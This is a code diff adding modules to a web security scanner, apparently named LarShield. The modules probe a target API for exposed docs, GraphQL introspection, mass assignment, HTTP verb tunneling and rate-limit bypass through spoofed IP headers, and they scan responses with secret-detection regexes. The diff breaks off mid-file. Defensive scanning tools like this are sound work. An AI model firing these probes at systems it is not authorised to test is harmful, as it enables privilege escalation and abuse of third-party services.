title="Exposed API Documentation (Swagger/OpenAPI)", + severity="High", + category="Information Disclosure", + cvss_score=7.5, + description=f"Unauthenticated API documentation was discovered at `{path}`. Attackers can use this to map out the entire backend infrastructure, discover hidden endpoints, and find injection vectors.", + remediation="Restrict access to API documentation endpoints in production environments using IP whitelisting or robust authentication." + ) + break + + def check_graphql(self): + self.log("INFO", "[API] Testing GraphQL endpoints for Introspection vulnerabilities...") + endpoints = ["/graphql", "/api/graphql", "/v1/graphql"] + introspection_query = { + "query": "{ __schema { types { name fields { name } } } }" + } + + for path in endpoints: + body, status = self._post(path, introspection_query) + if status == 200 and "__schema" in body: + self.log("CRITICAL", f"[API] GraphQL Introspection enabled at {path}") + self.add_vuln( + title="GraphQL Introspection Query Enabled", + severity="Critical", + category="API Security", + cvss_score=9.1, + description=f"The GraphQL endpoint at `{path}` allows Introspection queries. An attacker dumped the entire database schema, including all types, mutations, and hidden fields. This completely exposes the application's internal data structures.", + remediation="Disable GraphQL introspection in your production environment. In Apollo Server, set `introspection: false`." + ) + break + + def _fuzz_api_params(self): + swagger_paths = ["/api-docs", "/v2/api-docs", "/openapi.json", "/api/swagger.json"] + swagger_spec = None + for path in swagger_paths: + body, status = self._get(path) + if status == 200 and body: + try: + swagger_spec = json.loads(body) + break + except json.JSONDecodeError: + continue + + if swagger_spec: + paths = swagger_spec.get("paths", {}) + for endpoint, methods in paths.items(): + url = f"{self.base_url}{endpoint}" + for method, details in methods.items(): + if method.upper() not in ("GET", "POST", "PUT", "DELETE", "PATCH"): + continue + params = {} + for param in details.get("parameters", []): + if param.get("in") in ("query", "formData"): + params[param["name"]] = str(param.get("default", "test")) + if not params: + continue + self.log("INFO", f"[API] Context-aware fuzzing {endpoint} ({len(params)} params)") + self._fuzzer.fuzz(url, params) + baseline_body, _ = self._make_request(url, timeout=8) + baseline_length = len(baseline_body or "") + anomalies = self._fuzzer.anomalies(baseline_length) + for anom in anomalies: + self.log("WARNING", f"[API] Fuzzer anomaly at {endpoint}: {anom['param']} mutation={anom['mutation']} status={anom['status']}") + self.add_vuln( + title=f"API Injection โ€” {anom['param']} ({anom['mutation']})", + severity="High", + category="Injection", + cvss_score=7.5, + description=( + f"API endpoint {endpoint} parameter '{anom['param']}' " + f"(classified as '{anom['type']}') returned an anomalous response " + f"when mutated with '{anom['mutation']}' (value: {anom['value']}). " + f"HTTP {anom['status']}, response length {anom['length']}." + ), + remediation="Validate and sanitize all API input parameters. Use parameterized queries, input type enforcement, and proper output encoding.", + cwe_ids=["CWE-20"], + owasp_category="A03:2021 โ€“ Injection", + ) + else: + common_api_params = ["id", "q", "search", "query", "page", "limit", "offset", "sort", "filter", + "token", "key", "secret", "user", "email", "name", "status", "type", "role"] + params = {p: "test" for p in common_api_params} + self.log("INFO", "[API] No swagger spec found; fuzzing common API parameters on base URL") + self._fuzzer.fuzz(self.base_url, params) + baseline_body, _ = self._make_request(self.target, timeout=8) + baseline_length = len(baseline_body or "") + anomalies = self._fuzzer.anomalies(baseline_length) + for anom in anomalies: + self.log("WARNING", f"[API] Fuzzer anomaly: {anom['param']} mutation={anom['mutation']} status={anom['status']}") + self.add_vuln( + title=f"API Injection โ€” {anom['param']} ({anom['mutation']})", + severity="High", + category="Injection", + cvss_score=7.5, + description=( + f"Common API parameter '{anom['param']}' (classified as '{anom['type']}') " + f"returned an anomalous response when mutated with '{anom['mutation']}' " + f"(value: {anom['value']}). HTTP {anom['status']}, response length {anom['length']}." + ), + remediation="Validate and sanitize all API input parameters. Use parameterized queries, input type enforcement, and proper output encoding.", + cwe_ids=["CWE-20"], + owasp_category="A03:2021 โ€“ Injection", + ) + + def run(self): + self.log("INFO", f"[API] Starting Advanced API analysis on {self.target}...") + self.check_swagger() + self.check_graphql() + self._fuzz_api_params() + self.log("SUCCESS" if not self.vulns else "WARNING", "[API] Analysis complete.") + return self.vulns diff --git a/backend/scanners/api_security_scanner.py b/backend/scanners/api_security_scanner.py new file mode 100644 index 0000000000000000000000000000000000000000..3757266f5617a8f8e5f8e47b766cf0cf4b9acf61 --- /dev/null +++ b/backend/scanners/api_security_scanner.py @@ -0,0 +1,538 @@ +""" +api_security_scanner.py โ€” Advanced REST/GraphQL/gRPC API Security Scanner +========================================================================== +Goes beyond basic API fuzzing to test: + + 1. Mass Assignment via field injection on POST/PUT/PATCH + 2. Parameter pollution (HPP) on REST APIs + 3. Versioned API endpoint enumeration (v1, v2, v3...) + 4. API key leakage in responses, headers, and error messages + 5. HTTP verb tunneling (X-HTTP-Method-Override bypass) + 6. API rate limit bypass via header manipulation + 7. Unauthenticated GraphQL introspection + 8. REST API response data over-exposure (sensitive field detection) + 9. JWT none-algorithm and algorithm confusion probing + 10. API documentation endpoint exposure (Swagger, OpenAPI, Postman) +""" +import re +import json +import time +import urllib.parse +import urllib.request +import urllib.error +import ssl +import base64 + +from scanners.base_scanner import BaseScanner + + +# โ”€โ”€ Patterns โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +API_KEY_PATTERNS = [ + (r'(?i)api[_\-]?key\s*[:=]\s*["\']?([A-Za-z0-9_\-]{20,})["\']?', "API Key"), + (r'(?i)secret\s*[:=]\s*["\']?([A-Za-z0-9_\-]{20,})["\']?', "Secret"), + (r'(?i)access[_\-]?token\s*[:=]\s*["\']?([A-Za-z0-9_\-\.]{20,})["\']?', "Access Token"), + (r'(?i)auth[_\-]?token\s*[:=]\s*["\']?([A-Za-z0-9_\-\.]{20,})["\']?', "Auth Token"), + (r'(?i)password\s*[:=]\s*["\']?([^\s"\']{8,})["\']?', "Password"), + (r'(?i)client[_\-]?secret\s*[:=]\s*["\']?([A-Za-z0-9_\-]{16,})["\']?', "Client Secret"), + (r'sk_live_[A-Za-z0-9]{24,}', "Stripe Live Key"), + (r'sk_test_[A-Za-z0-9]{24,}', "Stripe Test Key"), + (r'AKIA[0-9A-Z]{16}', "AWS Access Key"), + (r'AIza[0-9A-Za-z_\-]{35}', "Google API Key"), + (r'(?i)mongodb\+srv://[^\s"\'<>]+', "MongoDB Connection String"), +] + +SENSITIVE_RESPONSE_FIELDS = [ + "password", "passwd", "pwd", "hash", "secret", "salt", + "ssn", "social_security", "credit_card", "card_number", "cvv", + "private_key", "api_key", "access_token", "refresh_token", + "session_token", "auth_token", "otp_secret", "totp_secret", + "internal_ip", "server_ip", "db_host", "db_password", + "admin_email", "admin_pass", +] + +DOC_ENDPOINTS = [ + "/api/docs", "/api/swagger", "/api/openapi", "/swagger", + "/swagger-ui", "/swagger-ui.html", "/swagger/index.html", + "/api/swagger.json", "/api/openapi.json", "/openapi.json", + "/swagger.yaml", "/openapi.yaml", "/api/v1/swagger.json", + "/api/v2/swagger.json", "/v1/api-docs", "/v2/api-docs", + "/docs", "/redoc", "/api/redoc", + "/postman.json", "/postman_collection.json", + "/.well-known/openid-configuration", + "/graphql/playground", "/graphiql", "/altair", +] + +API_VERSION_PATTERNS = [ + "/api/v{n}", "/api/{n}", "/v{n}", "/v{n}/api", + "/api/version{n}", "/rest/v{n}", +] + +MASS_ASSIGN_FIELDS = [ + "is_admin", "role", "admin", "superuser", "is_superuser", + "is_staff", "permissions", "privilege", "level", "account_type", + "verified", "is_verified", "subscription_tier", "plan", + "credits", "balance", "discount", +] + +HTTP_VERB_OVERRIDES = [ + "X-HTTP-Method-Override", + "X-HTTP-Method", + "X-Method-Override", + "_method", +] + +RATE_LIMIT_BYPASS_HEADERS = [ + {"X-Forwarded-For": "127.0.0.1"}, + {"X-Real-IP": "127.0.0.1"}, + {"X-Originating-IP": "127.0.0.1"}, + {"X-Remote-IP": "127.0.0.1"}, + {"CF-Connecting-IP": "127.0.0.1"}, + {"True-Client-IP": "127.0.0.1"}, + {"X-Forwarded-For": "10.0.0.1, 127.0.0.1"}, + {"X-Cluster-Client-IP": "127.0.0.1"}, +] + + +def _ssl_context() -> ssl.SSLContext: + ctx = ssl.create_default_context() + ctx.check_hostname = False + ctx.verify_mode = ssl.CERT_NONE + return ctx + + +def _request(url: str, method: str = "GET", body: bytes | None = None, + extra_headers: dict | None = None, timeout: int = 8) -> tuple[str, int, dict]: + """Make HTTP request, returning (body_text, status_code, response_headers).""" + try: + headers = {"User-Agent": "LarShield/2.0-APIScanner", "Accept": "application/json"} + if extra_headers: + headers.update(extra_headers) + req = urllib.request.Request(url, data=body, method=method, headers=headers) + with urllib.request.urlopen(req, timeout=timeout, context=_ssl_context()) as r: + resp_body = r.read().decode("utf-8", errors="ignore") + return resp_body, r.status, dict(r.headers) + except urllib.error.HTTPError as e: + try: + body_text = e.read().decode("utf-8", errors="ignore") + except Exception: + body_text = "" + return body_text, e.code, {} + except Exception: + return "", 0, {} + + +def _check_api_key_in_response(body: str, headers: dict) -> list[tuple[str, str]]: + """Scan response body and headers for exposed secrets.""" + found = [] + combined = body + " " + " ".join(f"{k}: {v}" for k, v in headers.items()) + for pattern, label in API_KEY_PATTERNS: + for m in re.finditer(pattern, combined): + found.append((label, m.group(0)[:80])) + return found + + +def _check_sensitive_fields(body: str) -> list[str]: + """Find sensitive field names in JSON response.""" + found = [] + try: + data = json.loads(body) + except Exception: + # Fallback: regex search + data = None + + if data: + def _scan_dict(d, depth=0): + if depth > 5 or not isinstance(d, (dict, list)): + return + if isinstance(d, dict): + for key in d.keys(): + if any(sf in key.lower() for sf in SENSITIVE_RESPONSE_FIELDS): + found.append(key) + _scan_dict(d[key], depth + 1) + elif isinstance(d, list): + for item in d[:5]: + _scan_dict(item, depth + 1) + _scan_dict(data) + else: + for sf in SENSITIVE_RESPONSE_FIELDS: + if re.search(rf'["\']?{sf}["\']?\s*[:=]', body, re.IGNORECASE): + found.append(sf) + return list(set(found)) + + +class ApiSecurityScanner(BaseScanner): + """ + Advanced REST/GraphQL API Security Scanner. + Performs real probes against discovered API endpoints. + """ + SCANNER_NAME = "Advanced API Security Scanner" + + def run(self) -> list: + self.log("INFO", f"[AdvAPI] Starting advanced API security scan on {self.target}") + self._seen: set = set() + parsed = urllib.parse.urlparse(self.target) + self._base = f"{parsed.scheme}://{parsed.netloc}" + + # โ”€โ”€ 1. API documentation endpoint exposure โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + self.log("INFO", "[AdvAPI] Probing for exposed API documentation endpoints...") + self._check_doc_exposure() + + # โ”€โ”€ 2. API version enumeration โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + self.log("INFO", "[AdvAPI] Enumerating versioned API endpoints...") + found_versions = self._enumerate_api_versions() + + # โ”€โ”€ 3. Mass assignment injection โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + self.log("INFO", "[AdvAPI] Testing mass assignment vulnerabilities...") + self._check_mass_assignment(found_versions) + + # โ”€โ”€ 4. HTTP verb tunneling โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + self.log("INFO", "[AdvAPI] Testing HTTP verb tunneling bypass...") + self._check_verb_tunneling() + + # โ”€โ”€ 5. API rate limit bypass via header spoofing โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + self.log("INFO", "[AdvAPI] Testing rate limit bypass techniques...") + self._check_rate_limit_bypass() + + # โ”€โ”€ 6. GraphQL introspection โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + self.log("INFO", "[AdvAPI] Checking GraphQL introspection access...") + self._check_graphql_introspection() + + # โ”€โ”€ 7. Response data over-exposure โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + self.log("INFO", "[AdvAPI] Checking API responses for sensitive data over-exposure...") + self._check_data_overexposure(found_versions) + + count = len(self.vulns) + self.log( + "WARNING" if count else "SUCCESS", + f"[AdvAPI] Complete โ€” {count} API security issue(s) detected" + ) + return self.vulns + + def _check_doc_exposure(self): + """Check if API documentation is publicly accessible.""" + for path in DOC_ENDPOINTS: + url = self._base + path + body, status, headers = _request(url, timeout=6) + if status == 200 and body: + # Verify it's actual API docs, not a generic 200 + is_docs = any(kw in body.lower() for kw in [ + "swagger", "openapi", "paths", "definitions", + "graphql", "playground", "mutation", "query", + "postman", "endpoint", + ]) + if is_docs: + key = f"apidoc:{path}" + if key not in self._seen: + self._seen.add(key) + self.log("HIGH", f"[AdvAPI] API documentation exposed: {url}") + self.add_vuln( + title=f"API Documentation Publicly Exposed: {path}", + severity="High", + category="API Security / Information Disclosure", + cvss_score=7.5, + cwe_ids=["CWE-538", "CWE-200"], + owasp_category="A09:2021 โ€“ Security Logging and Monitoring Failures", + description=( + f"The API documentation endpoint `{url}` is publicly accessible. " + f"Exposed API docs (Swagger, OpenAPI, GraphQL Playground) provide attackers " + f"with a complete blueprint of all API endpoints, parameters, authentication " + f"methods, and data models โ€” dramatically accelerating attack reconnaissance." + ), + remediation=( + "1. Restrict API documentation to authenticated users or internal networks only.\n" + "2. Disable interactive API explorers (Swagger UI, GraphiQL) in production.\n" + "3. Use IP allowlisting for documentation endpoints.\n" + "4. Implement authentication middleware before documentation routes." + ), + evidence=f"HTTP {status} response from {url} with API documentation content", + request_details=f"GET {url}", + ) + + def _enumerate_api_versions(self) -> list[str]: + """Discover active API versioned base URLs.""" + found = [] + parsed = urllib.parse.urlparse(self.target) + base_path = parsed.path.rstrip("/") + + for n in range(1, 6): + for pattern in ["/api/v{n}", "/v{n}", "/api/v{n}/", "/v{n}/api"]: + path = pattern.replace("{n}", str(n)) + url = self._base + path + body, status, _ = _request(url, timeout=5) + if status in (200, 401, 403, 405): + # Status 401/403/405 still means the endpoint exists + if url not in found: + found.append(url) + self.log("INFO", f"[AdvAPI] Found API version endpoint: {url} (HTTP {status})") + + return found + + def _check_mass_assignment(self, api_bases: list[str]): + """Attempt mass assignment on common CRUD endpoints.""" + endpoints_to_try = [self.target, self._base + "/api/user", self._base + "/api/users", self._base + "/api/profile"] + endpoints_to_try.extend(api_bases[:3]) + + for base_url in endpoints_to_try[:5]: + # Send a POST/PUT with extra privileged fields + payload_dict = { + "name": "test", + "email": "test@example.com", + } + # Add mass assignment fields + for field in MASS_ASSIGN_FIELDS[:5]: + payload_dict[field] = True + + body_bytes = json.dumps(payload_dict).encode() + + for method in ["POST", "PUT"]: + resp_body, status, resp_headers = _request( + base_url, method=method, body=body_bytes, + extra_headers={"Content-Type": "application/json"}, + timeout=7 + ) + if status in (200, 201, 204): + # Check if the server reflected any privileged field back + reflected_fields = [] + try: + resp_data = json.loads(resp_body) + for field in MASS_ASSIGN_FIELDS: + if field in resp_data: + reflected_fields.append(field) + except Exception: + for field in MASS_ASSIGN_FIELDS: + if re.search(rf'["\']?{field}["\']?\s*:', resp_body, re.IGNORECASE): + reflected_fields.append(field) + + if reflected_fields: + key = f"massassign:{base_url}:{method}" + if key not in self._seen: + self._seen.add(key) + self.log("CRITICAL", f"[AdvAPI] Mass assignment: {reflected_fields} reflected in {method} {base_url}") + self.add_vuln( + title=f"Mass Assignment Vulnerability via {method} {base_url}", + severity="Critical", + category="API Security / Mass Assignment", + cvss_score=9.1, + cwe_ids=["CWE-915"], + owasp_category="API6:2023 โ€“ Unrestricted Access to Sensitive Business Flows", + description=( + f"The endpoint `{base_url}` accepts and reflects privileged fields " + f"(`{', '.join(reflected_fields)}`) in a {method} request without " + f"filtering. An attacker can escalate privileges by submitting fields " + f"like `is_admin: true`, `role: 'admin'`, or `credits: 99999` in the request body." + ), + remediation=( + "1. Implement an explicit allowlist of accepted fields (not a blocklist).\n" + "2. Use Data Transfer Objects (DTOs) that only bind permitted fields.\n" + "3. Never bind the entire request body directly to database models.\n" + "4. Implement object-level authorization checks after field binding." + ), + evidence=f"Privileged fields reflected: {reflected_fields}", + request_details=f"{method} {base_url}\nBody: {json.dumps(payload_dict)[:200]}", + payload=json.dumps({f: True for f in reflected_fields}), + ) + + def _check_verb_tunneling(self): + """Test HTTP verb tunneling via method override headers.""" + test_url = self._base + "/api/admin" + for header in HTTP_VERB_OVERRIDES: + extra = {header: "DELETE"} + body, status, resp_headers = _request(test_url, method="POST", extra_headers=extra, timeout=6) + if status not in (404, 405): + # Check if a normally-disallowed method was accepted + normal_body, normal_status, _ = _request(test_url, method="DELETE", timeout=6) + if status != normal_status and status in (200, 204, 401, 403): + key = f"verbtunn:{header}" + if key not in self._seen: + self._seen.add(key) + self.log("HIGH", f"[AdvAPI] Verb tunneling via {header} accepted (HTTP {status})") + self.add_vuln( + title=f"HTTP Verb Tunneling via {header} Header", + severity="High", + category="API Security / Access Control", + cvss_score=7.3, + cwe_ids=["CWE-650"], + owasp_category="API1:2023 โ€“ Broken Object Level Authorization", + description=( + f"The server accepts `{header}: DELETE` in a POST request, tunneling " + f"a restricted HTTP method. This bypasses WAF/firewall rules that only " + f"block explicit DELETE/PUT methods, allowing attackers to perform " + f"destructive operations through a POST wrapper." + ), + remediation=( + f"1. Disable `{header}` header processing on production APIs.\n" + "2. Validate that WAF rules apply to effective HTTP method, not tunneled method.\n" + "3. Use framework-level configuration to disable method override middleware.\n" + "4. Implement resource-level authorization that doesn't depend on HTTP method alone." + ), + evidence=f"POST with {header}: DELETE returned HTTP {status} vs DELETE returning {normal_status}", + request_details=f"POST {test_url}\n{header}: DELETE", + payload=f"{header}: DELETE", + ) + + def _check_rate_limit_bypass(self): + """Check if rate limits can be bypassed via IP spoofing headers.""" + test_url = self.target + + # Get baseline response + baseline_body, baseline_status, baseline_headers = _request(test_url, timeout=6) + rate_limited = False + + # Send 20 rapid requests to trigger rate limiting + for _ in range(20): + body, status, _ = _request(test_url, timeout=3) + if status == 429: + rate_limited = True + break + time.sleep(0.05) + + if rate_limited: + # Try bypass headers + for bypass_header in RATE_LIMIT_BYPASS_HEADERS: + body, status, _ = _request(test_url, extra_headers=bypass_header, timeout=6) + if status != 429: + header_name, header_val = list(bypass_header.items())[0] + key = f"ratelimit_bypass:{header_name}" + if key not in self._seen: + self._seen.add(key) + self.log("HIGH", f"[AdvAPI] Rate limit bypassed via {header_name}: {header_val}") + self.add_vuln( + title=f"Rate Limit Bypass via {header_name} IP Spoofing Header", + severity="High", + category="API Security / Rate Limiting", + cvss_score=7.5, + cwe_ids=["CWE-799", "CWE-290"], + owasp_category="API4:2023 โ€“ Unrestricted Resource Consumption", + description=( + f"The rate limiting mechanism trusts the `{header_name}` header " + f"for IP identification. By setting `{header_name}: {header_val}`, " + f"an attacker can bypass rate limits entirely, enabling:\n" + f"- Brute force attacks on authentication endpoints\n" + f"- Credential stuffing at scale\n" + f"- API denial-of-service with rotating fake IPs" + ), + remediation=( + "1. Use the actual TCP connection IP for rate limiting, not forwarded headers.\n" + "2. If behind a trusted proxy, validate the proxy IP before trusting forwarded headers.\n" + "3. Implement rate limiting at the TCP/network layer (not just HTTP).\n" + f"4. Remove trust of `{header_name}` from untrusted sources." + ), + evidence=f"429 rate limit triggered normally, then bypassed with {header_name}: {header_val}", + request_details=f"GET {test_url}\n{header_name}: {header_val}", + payload=f"{header_name}: {header_val}", + ) + + def _check_graphql_introspection(self): + """Check for unauthenticated GraphQL introspection.""" + gql_paths = ["/graphql", "/api/graphql", "/gql", "/query", "/api/query"] + introspection_query = json.dumps({ + "query": "{ __schema { types { name } } }" + }).encode() + + for path in gql_paths: + url = self._base + path + body, status, headers = _request( + url, method="POST", body=introspection_query, + extra_headers={"Content-Type": "application/json"}, + timeout=7 + ) + if status == 200 and '"__schema"' in body and '"types"' in body: + key = f"gql_introspect:{path}" + if key not in self._seen: + self._seen.add(key) + # Count type count as a measure of exposure + type_count = body.count('"name"') + self.log("HIGH", f"[AdvAPI] GraphQL introspection open at {url} ({type_count} types exposed)") + self.add_vuln( + title="GraphQL Introspection Enabled in Production", + severity="High", + category="API Security / GraphQL", + cvss_score=7.5, + cwe_ids=["CWE-200"], + owasp_category="A09:2021 โ€“ Security Logging and Monitoring Failures", + description=( + f"GraphQL introspection is enabled at `{url}` without authentication. " + f"Introspection exposes the complete schema ({type_count} type references), " + f"including all queries, mutations, fields, arguments, and data models. " + f"This provides attackers with a full API blueprint for further targeted attacks." + ), + remediation=( + "1. Disable introspection in production GraphQL configurations.\n" + "2. For Apollo Server: `introspection: false`.\n" + "3. For Hasura: set HASURA_GRAPHQL_ENABLE_INTROSPECTION=false.\n" + "4. Restrict introspection to authenticated admin users only.\n" + "5. Implement query depth limiting and complexity analysis." + ), + evidence=f"GraphQL introspection returned {type_count} type references", + request_details=f'POST {url}\nBody: {{"query": "{{ __schema {{ types {{ name }} }} }}"}}', + payload='{ __schema { types { name } } }', + ) + + def _check_data_overexposure(self, api_bases: list[str]): + """Check API responses for sensitive fields that shouldn't be exposed.""" + endpoints = [self.target, self._base + "/api/user", self._base + "/api/me", self._base + "/api/profile"] + endpoints.extend(api_bases[:2]) + + for url in endpoints[:6]: + body, status, headers = _request(url, timeout=6) + if status == 200 and body: + # Check for API key leakage + secrets = _check_api_key_in_response(body, headers) + for secret_type, secret_val in secrets: + key = f"secretleak:{secret_type}:{url}" + if key not in self._seen: + self._seen.add(key) + self.log("CRITICAL", f"[AdvAPI] Secret leaked in response: {secret_type} at {url}") + self.add_vuln( + title=f"Sensitive Credential Exposed in API Response: {secret_type}", + severity="Critical", + category="API Security / Information Disclosure", + cvss_score=9.1, + cwe_ids=["CWE-200", "CWE-312"], + owasp_category="API3:2023 โ€“ Broken Object Property Level Authorization", + description=( + f"The API endpoint `{url}` returns a **{secret_type}** in its response body or headers. " + f"This exposes sensitive credentials that can be used to authenticate as the affected " + f"user/service, access third-party APIs, or perform actions on behalf of the system.\n\n" + f"**Detected pattern:** `{secret_val}`" + ), + remediation=( + "1. Remove all sensitive fields from API responses using response DTOs/serializers.\n" + "2. Never return API keys, tokens, or passwords in any API response.\n" + "3. Audit all API endpoints with automated secret scanning in CI/CD.\n" + "4. Rotate any exposed credentials immediately.\n" + "5. Implement response filtering middleware to block secret patterns." + ), + evidence=f"{secret_type} found in response from {url}: {secret_val[:30]}...", + request_details=f"GET {url}", + ) + + # Check for sensitive field over-exposure + sensitive = _check_sensitive_fields(body) + if sensitive: + key = f"overexpose:{url}" + if key not in self._seen: + self._seen.add(key) + self.log("HIGH", f"[AdvAPI] Data over-exposure: {sensitive} at {url}") + self.add_vuln( + title=f"API Response Data Over-Exposure โ€” Sensitive Fields Returned", + severity="High", + category="API Security / Data Exposure", + cvss_score=7.5, + cwe_ids=["CWE-213"], + owasp_category="API3:2023 โ€“ Broken Object Property Level Authorization", + description=( + f"The API endpoint `{url}` returns sensitive fields that should not be exposed to clients: " + f"`{'`, `'.join(sensitive[:8])}`.\n\n" + f"Over-exposure occurs when API responses include more data than the frontend actually needs, " + f"relying on the UI to 'hide' sensitive information that is still transmitted over the network." + ), + remediation=( + "1. Implement field-level filtering in API serializers โ€” only return fields the client needs.\n" + "2. Use separate response schemas for different user roles.\n" + "3. Avoid returning full database model objects directly as API responses.\n" + "4. Regularly audit API response fields using automated data classification tools." + ), + evidence=f"Sensitive fields in response: {sensitive[:5]}", + request_details=f"GET {url}", + ) diff --git a/backend/scanners/attack_surface_scanner.py b/backend/scanners/attack_surface_scanner.py new file mode 100644 index 0000000000000000000000000000000000000000..4e5e3070a5c8c2d6ce632111b87b7f3ed7a5f7d0 --- /dev/null +++ b/backend/scanners/attack_surface_scanner.py @@ -0,0 +1,227 @@ +""" +attack_surface_scanner.py โ€” Attack Surface Mapper +================================================== +Enumerates and maps the full attack surface of a web application: + - All discovered endpoints / routes + - Query parameters and form fields across all pages + - External domains and third-party scripts + - API endpoints (REST / GraphQL hints) + - Admin / sensitive paths + - File upload endpoints + - Technology stack identified + - Email addresses / internal references exposed +""" +import re, urllib.parse, urllib.request +from scanners.base_scanner import BaseScanner + +SENSITIVE_PATH_RE = re.compile( + r"(admin|administrator|manager|console|panel|dashboard|config|backup|" + r"phpmyadmin|wp-admin|wp-login|cpanel|webmail|api/v\d|swagger|graphql|" + r"actuator|debug|trace|health|metrics|env|info|beans|heapdump)", re.I +) + +FILE_UPLOAD_RE = re.compile( + r']+type=["\']file["\']', re.I +) + +EMAIL_RE = re.compile( + r'\b[A-Za-z0-9._%+\-]+@[A-Za-z0-9.\-]+\.[A-Za-z]{2,}\b' +) + +INTERNAL_IP_RE = re.compile( + r'\b(10\.\d+\.\d+\.\d+|172\.(1[6-9]|2\d|3[01])\.\d+\.\d+|192\.168\.\d+\.\d+)\b' +) + +API_PATTERNS = re.compile( + r'["\']/(api|v\d+|rest|graphql|query|endpoint)[^"\']*["\']', re.I +) + + +class AttackSurfaceScanner(BaseScanner): + SCANNER_NAME = "Attack Surface Mapper" + _SCANNER_KEY = "attack_surface" + + def __init__(self, scan_id, target, domain, **kwargs): + super().__init__(scan_id, target, domain, **kwargs) + + # ------------------------------------------------------------------ + def run(self) -> list: + self.log("INFO", f"[AttackSurface] Mapping attack surface of {self.target}...") + try: + urls, forms, html, all_html = self._crawl_deep() + self._analyze_surface(urls, forms, html, all_html) + except Exception as e: + self.log("WARNING", f"[AttackSurface] Error: {e}") + + self.log("SUCCESS", + f"[AttackSurface] Mapping complete. {len(self.vulns)} exposure(s) documented.") + return self.vulns + + # ------------------------------------------------------------------ + def _crawl_deep(self): + try: + results = self.discovery_context or {} + urls = [u["url"] if isinstance(u, dict) else u for u in results.get("urls", [])] + if self.target not in urls: + urls.insert(0, self.target) + forms = results.get("forms", []) + all_html = results.get("page_contents", {}) + combined = " ".join(all_html.values()) if all_html else "" + return urls, forms, combined, all_html + except Exception as e: + self.log("ERROR", f"[AttackSurface] _crawl_deep error: {e}") + body = self._fetch(self.target) + return [self.target], [], body or "", {} + + def _fetch(self, url): + try: + req = urllib.request.Request(url, + headers={"User-Agent": "LarShield/2.0 AttackSurface"}) + with urllib.request.urlopen(req, timeout=8, context=self.get_ssl_context()) as r: + return r.read().decode("utf-8", errors="ignore") + except Exception as e: + self.log("ERROR", f"[AttackSurface] _fetch error: {e}") + return "" + + # ------------------------------------------------------------------ + def _analyze_surface(self, urls, forms, combined_html, all_html): + # โ”€โ”€ 1. Endpoint inventory โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + unique_paths = sorted({urllib.parse.urlparse(u).path for u in urls}) + self.log("INFO", + f"[AttackSurface] Discovered {len(unique_paths)} unique path(s), " + f"{len(forms)} form(s)") + + # โ”€โ”€ 2. Sensitive / admin paths โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + sensitive = [p for p in unique_paths if SENSITIVE_PATH_RE.search(p)] + if sensitive: + self.add_vuln( + title=f"Sensitive/Admin Paths Discovered ({len(sensitive)} paths)", + severity="Medium", + category="Attack Surface", + cvss_score=5.3, + description="The following sensitive endpoints were found accessible:\n\n" + + "\n".join(f"- `{self.target.rstrip('/')}{p}`" for p in sensitive[:20]), + remediation="1. Restrict access to admin/management paths by IP allowlist.\n" + "2. Enforce strong authentication on all /admin, /api, /console paths.\n" + "3. Remove or disable unused endpoints in production.", + ) + + # โ”€โ”€ 3. API endpoints โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + api_paths = [p for p in unique_paths if re.search(r'/api|/v\d+|/graphql|/rest', p, re.I)] + if api_paths: + self.log("INFO", f"[AttackSurface] API surface: {len(api_paths)} endpoint(s)") + self.add_vuln( + title=f"API Attack Surface: 